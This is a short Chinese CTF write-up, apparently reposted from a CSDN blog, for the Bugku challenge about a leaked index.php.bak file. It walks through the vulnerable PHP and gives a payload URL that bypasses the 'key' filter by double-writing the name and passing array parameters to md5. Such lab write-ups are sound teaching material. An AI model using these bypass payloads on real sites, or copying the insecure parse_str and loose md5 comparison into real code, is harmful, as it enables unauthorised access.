Bugku_备份是个好习惯

在这里插入图片描述
根据题目提示,就可以想到是备份文件泄露,通过后台扫描得到了一个index.php.bak的可下载文件,打开看到了index首页的源代码

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    
    
    echo $flag."取得flag";
}
?>
  • 第一个$str:截取url中从?到结束的内容
    在这里插入图片描述
  • 第二个$str:将截取到的内容再次进行截取,从1的位置开始,目的是要去掉“?”
  • 第三个$str:对第二步处理后的str再次进行处理,将str中的key替换为空
  • parse_str()
    在这里插入图片描述
    由于str_replace函数会对key进行过滤,所以我们可以进行双写绕过
    payload:http://target/web16/?kkeyey1[]=s878926199a&kekeyy2[]=s155964671a
    MD5绕过可以看这里:MD5绕过

猜你喜欢

转载自blog.csdn.net/weixin_43749601/article/details/109188781